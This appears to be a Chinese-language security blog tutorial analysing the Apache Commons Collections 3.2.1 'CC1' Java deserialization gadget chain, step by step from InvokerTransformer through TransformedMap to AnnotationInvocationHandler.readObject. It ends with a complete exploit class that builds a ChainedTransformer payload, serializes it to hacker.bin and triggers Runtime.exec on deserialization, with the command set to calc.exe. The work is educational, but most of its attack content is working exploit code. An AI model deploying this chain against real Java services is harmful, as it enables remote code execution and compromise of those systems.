cc1 环境要求: jdk<8u71
cc依赖 3.2.1
下载源码方便调试
链子: 1. 核心漏洞点是invoketransformer的tranform方法通过反射实现了任意类的任意方法调用,此处可以实现rce
1 2 3 4 5 6 7 8 9 10 public Object transform (Object input ) { if (input == null ) { return null ; } try { Class cls = input .getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method .invoke(input , iArgs); }
示例: 利用invokertranformer反射调用Runtime.getRuntime()的exec方法弹计算器
1 2 3 4 5 6 7 8 InvokerTransformer invokerTransformer = new InvokerTransformer( "exec" , new Class []{String.class }, new Object[]{"calc" } );Runtime runtime = Runtime .getRuntime(); invokerTransformer.transform(runtime );
而且invoketranformer可以直接构造
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args ) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args ; }
则只需要去寻找哪些类里面调用了tranform方法,再把我们构造好的invoketranformer传入
2. 我们发现在tranformedmap类有一个checksetvalue方法,里面会调用tranform方法
1 2 3 protected Object checkSetValue (Object value ) { return valueTransformer.transform (value); }
此处存在两个问题
1)checkSetValue方法是protected修饰的,无法直接调用,需要找到调用该方法的位置
2)方法中是valueTransformer调用的transform()方法,所以需要知道valueTransformer怎么来的
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
发现是发现了,但是是私有的没法在外面使用
继续查找发现了一个装饰器,调用了构造方法同时返回了这个类(那还说啥)
1 2 3 4 5 6 7 8 9 public static Map decorateTransform(Map map , Transformer keyTransformer, Transformer valueTransformer) { TransformedMap decorated = new TransformedMap(map , keyTransformer, valueTransformer); if (map .size() > 0 ) { Map transformed = decorated.transformMap(map ); decorated.clear(); decorated.getMap().putAll(transformed); } return decorated; }
再来看问题1,赋值解决了,如何调用checkSetValue方法 查找用法,只有一个地方调用了它
AbstractInputCheckedMapDecorator的子类MapEntry的setvalue方法
1 2 3 4 public Object setValue (Object value ) { value = parent.checkSetValue (value); return entry.setValue (value); }
问题就变成了setvalue怎么调用,怎么赋值
首先是怎么构造一个MapEntry类
发现了一条构造类的链子:
AbstractInputCheckedMapDecorator.entrySet() 构造一个EntrySet类
EntrySet.iterator() 构造一个EntrySetIterator类
EntrySetIterator.netx() 构造一个MapEntry类
因为AbstractInputCheckedMapDecorator 抽象类是不能实例化的,恰好tranformedmap是他的子类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 InvokerTransformer invokerTransformer = new InvokerTransformer( "exec" , new Class []{String.class } , new Object[]{"calc" });Runtime runtime = Runtime .getRuntime(); HashMap map = new HashMap(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); System.out.println (transformedMap.entrySet().getClass()); System.out.println (transformedMap.entrySet().iterator().getClass()); System.out.println (transformedMap.entrySet().iterator().next ().getClass()); transformedMap.entrySet().iterator().next ().setValue(runtime );
也可以用循环解决
1 2 3 for (Map.Entry <Object, Object> entry : transformedMap.entrySet ()) { entry .setValue(runtime); }
即在调用tranformedmap的键值对的setValue()方法时,会触发tranformedMap的checksetvalue方法,进而实现rce(这个类也真是神奇
3. 继续向上查找谁调用了setValue方法
AnnotationInvocationHandler的readObject方法调用了setValue!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map .Entry<String , Object > memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get (name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get (name))); }
再去看看构造函数
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler (Class <? extends Annotation > type , Map <String , Object > memberValues) { Class <?>[] superInterfaces = type .getInterfaces (); if (!type .isAnnotation () || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang .annotation .Annotation .class ) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type ; this .memberValues = memberValues; }
参数可控,直接让memberValues等于tranformedmap就好了
有一个问题AnnotationInvocationHandler类的构造方法是私有的,要通过反射才能序列化
1 2 3 4 Class clazz = Class .forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class .class , Map.class ); constructor.setAccessible(true );Object obj = constructor.newInstance(Override.class , transformedMap);
至此链条基本完成。
总结: 反序列化时
AnnotationInvocationHandler.readobject() –> tranformedmap的entryset.setValue() –> tranformedmap.checksetvalue() –> invokertranformer.tranform
从而实现任意类的任意方法调用
一些调整: 1.进不去循环
1 2 3 4 5 6 7 8 9 10 11 12 13 for (Map .Entry<String , Object > memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get (name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get (name))); }
发现用上面的思路时弹不出来计算器的,跟进发现在memberType的判断这里挂了,因为@Override是没有的,所以我们换用@Target注解,里面有个value,同时map的键名也要改成value
2.runtime不能被序列化
runtime没有实现seri接口,所以无法被序列化。
提前做反射调用也不行,考虑在序列化的过程中实现反射调用,还记得invokertranformer可以实现任意类的任意方法调用,class类是可以序列化的,所以利用这个调用class在序列化的过程中反射获取runtime即可
1 2 3 4 //Runtime不能被直接序列化,考虑使用反射调用Method getRuntimeMethod=(Method )new InvokerTransformer("getMethod",new Class []{String.class ,Class [].class },new Object []{"getRuntime",null }).transform (Runtime.class ); Runtime r=(Runtime)new InvokerTransformer("invoke",new Class []{Object .class , Object [].class },new Object []{null ,null }).transform (getRuntimeMethod);new InvokerTransformer("exec", new Class []{String.class }, new Object []{"calc"}).transform (r);
如果是这样子就要调用三次,非常麻烦
想到chainedtransformer类可以链式调用,而且上一步的输出作为下一步的输入,非常适合
1 2 3 4 5 6 7 8 Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod" ,new Class[]{String .class ,Class[].class },new Object []{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object .class , Object [].class },new Object []{null ,null }), new InvokerTransformer("exec" , new Class[]{String .class }, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class );
完整exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package com.transformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class Transform { public static void serialize (Object obj) throws Exception{ ObjectOutputStream oss = new ObjectOutputStream (new FileOutputStream ("hacker.bin" )); oss.writeObject(obj); } public static Object unserialize (String Filename) throws Exception,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate (map, null , chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandler.setAccessible(true ); Object hacker= annotationInvocationHandler.newInstance(Target.class,transformedMap); serialize(hacker); unserialize("hacker.bin" ); } }
调整后的总结:
注意此处注解和map的key要对上
AnnotationInvocationHandler.readobject() –> tranformedmap的entryset.setValue() –> tranformedmap.checksetvalue() –> chainedTransformer.tranform(可以是任意输入)
调用了四次,在反序列化的过程中获取runtime
关键跟进:
当注解和map的key对的上就会来到这一步
发现输入的是一个奇怪的类,但是没有影响,因为我们第一步用的是ConstantTransformer
获取runtime
最后落脚到invoketranformer
Java反序列化利用链篇 | CC1链_全网最菜的分析思路【本系列文章的分析重点】-CSDN博客